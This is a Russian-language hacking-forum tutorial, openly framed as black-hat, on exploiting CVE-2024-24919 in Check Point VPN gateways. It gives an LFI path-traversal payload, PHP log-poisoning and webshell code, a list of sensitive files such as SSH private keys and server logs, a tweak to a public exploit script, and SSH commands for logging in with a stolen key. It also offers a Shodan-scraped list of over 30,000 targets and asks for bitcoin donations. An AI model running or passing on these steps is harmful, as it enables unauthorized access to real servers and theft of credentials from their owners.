CVE-2024-24919 получаем доступ

D2 · 7 Апр 2025

Специально для лучшего форума: xss.is
Автор: k0priz

!!!ДИСКЛЕЙМЕР!!!
Все мы и так знаем как будут использовать эту информацию так что дисклеймер никчему, black-hat рулит)))

И так по запросам форумчан, очень извиняюсь за столь долгую задержку в выпуске очень большие проблемы в жизни,но сейчас не об этом, пишу продолжение статьи где мы получим доступ.
Как мы все помним использовали мы CVE-2024-24919 а это уязвимость раскрытия информации ну или lfi.

CVE-2024-24919 — это уязвимость раскрытия информации, которая может позволить злоумышленнику получить доступ к определенной информации на подключенных к Интернету шлюзах, которые настроены с использованием IPSec VPN, VPN удаленного доступа или программного блейда мобильного доступа. Согласно сообщению, Check Point наблюдала эксплуатацию этой уязвимости в реальных условиях, и до сих пор эта деятельность по эксплойту была сосредоточена на устройствах, настроенных с использованием локальных учетных записей и аутентификации только по паролю.

PoC: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/

Информационная сноска
-------------------------
Уязвимость LFI (Local File Inclusion) — это тип уязвимости, связанный с несанкционированным доступом к файлам на сервере, который возникает, когда приложение позволяет злоумышленнику включать произвольные файлы с сервера через вводимые данные. Обычно такая уязвимость возникает в веб-приложениях, когда параметры запроса (например, имя файла) не проходят должной валидации и могут быть изменены пользователем.

// Уязвимый код с использованием параметра 'page'
$page = $_GET['page'];
include($page);
-------------------------

А значит что мы можем прочитать почти ЛЮБОЙ ФАЙЛ начинаем вспоминать мат часть линукса а имеено ее дирекотрии.

Самый первый вариант который должен приходить это /etc/ кладись конфигурационных файлов.

Интересные директории:

https://github.com/InfoSecWarrior/Offensive-Payloads/blob/main/Linux-Sensitive-Files.txt

Немного расскажу про базовую интерпретацию lfi.

На гите валяется скрипт для теста:
git clone https://github.com/dr34mhacks/operation-file-hunt.git
cd operation-file-hunt
sudo bash runme.sh

Вводим произвольные символы и видим уязвимый параметр page
Вот тут как раз начинаем вспоминать что писать сверху.
PHP: Скопировать в буфер обмена

Код:

// Уязвимый код с использованием параметра 'page'
$page = $_GET['page'];
include($page);

пробуем базовую проверку ../../../../../../../../../../etc/passwd

так, уязвимость есть , пробуем получить RCE, для этого нам понадобяться такая вещь как Log Poisoning.

Информационная сноска:
-------------------------------
Log Poisoning - это распространенный метод, используемый для получения команды от уязвимости LFI. Чтобы это сработало, хакер пытается внедрить вредоносные данные в журнал сервера.

В реальном приложении попытайтесь определить используемый сервер (например, Apache, Nginx). Это можно определить с помощью журналов ошибок, страницы сервера по умолчанию и заголовков ответов. Например, для сервера Apache файл журнала будет храниться в /var/log/apache2/error.log, а для Nginx — в /var/log/nginx/access.log
-------------------------------

тут нам уже понадобиться burpsuite

Ловим реквест с сервака и кидаем его в Repeater

Пробуем получить журнал ошибок сервера logs/access.log

так доступ к журналу есть, значит пробуем пронести наш код
<?php system('id');?> - между скобок мы пишем команду которую хотим выполнить тоесть id.

Биного, работает и видим что мы группы root, делаем простой webshell командой <?php system($_GET['cmd']); ?> -- тут уже мы создаем переменную и при GET запросе можем проносить свои команды.
Теперь пишием /local_file_inclusion.php?page=logs/access.log&cmd=ls

И видим такую картину:

Все что такое lfi поняли и как даже получить через него RCE тоже, так что продолжаем.

Опять же как правильно подметили под прошлой статьей "заебешься хэши хэшить" если говорить о масовом взломе, я мог бы просто найти сервак разхэшить хэш да и все, но это не интерсено, все таки професия творческая.

Предложили действительно не плохой вариант /.ssh/id-rsa

Информационная сноска:
-------------------------
Файл id_rsa является приватным ключом SSH, который используется для аутентификации при подключении к удаленным серверам и другим системам. Этот ключ эксплуатируется вместе с файлом id_rsa.pub, который является соответствующим публичным ключом.
-------------------------

Так как мы теперь знаем как можно получить RCE, лист пэйлоадов будет таким:

/.ssh/id-rsa
/var/log/apache2/error.log
/var/log/nginx/access.log

Использовать будем этот сплоит https://github.com/RevoltSecurities/CVE-2024-24919.git

Для вашего удобства в 95 строчке вместо if response.status == 200 and "<html" not in responsed or "</html>" not in responsed: замените на if response.status == 200:

Бывает пишет что vuln, но статус код 404.

По итогам скана к сожалению логов не нашлось, а я очень хотел показать эту уязвимость(в дальнейшем думаю напишу и про это) но будем показывать через id_rsa.

так вот мы имеем ключ:

Код: Скопировать в буфер обмена

Код:

но перед тем как подключатсья нужно подготовиться

создаем файл в любой директории id_rsa

туда впихиваем наш ключ

в нем обязательно должно быть

-----BEGIN OPENSSH PRIVATE KEY-----
base64
-----END OPENSSH PRIVATE KEY-----

после этого сохроняем и пишем команду chmod 600 /path/to/id_rsa_file

далле пишем ssh -i [SIZE=5]/path/to/id_rsa_file[/SIZE] -o HostKeyAlgorithms=+ssh-rsa user@host

Информационная сноска
-------------------------
Когда в командной строке при подключении через SSH указывают параметр -o HostKeyAlgorithms=+ssh-rsa, это означает, что в процессе аутентификации SSH-сессии явно разрешается использование алгоритма ssh-rsa для проверки подлинности удалённого хоста.

HostKeyAlgorithms — это настройка в SSH-клиенте, которая определяет, какие алгоритмы ключей хостов (серверов) могут быть использованы для проверки подлинности сервера при установлении соединения.

+ssh-rsa — знак + в данном контексте добавляет алгоритм ssh-rsa в список допустимых алгоритмов. Это может быть полезно, если по каким-то причинам SSH-сервер или клиент по умолчанию не поддерживает этот алгоритм, но вы хотите его явно разрешить.
-------------------------

Вауля мы на сервере:

Все гениальное просто, творите и изучайте!!!

Оставлю вам файлик который спарсил с shodan если кто сам захочет попробовать.

https://dropmefiles.com/OOS65 там 30+к сайтов думаю есть над чем практиковаться.

Если статья понравилась и кто то захочет помочь автору, то это очень сильно поможет выходу новых статей, ведь идеи есть. bc1qt8kazyjvpdf0t2asths05drkzamajh90ggdmg7

P.s (Можем проверить OS от одного школо-форума)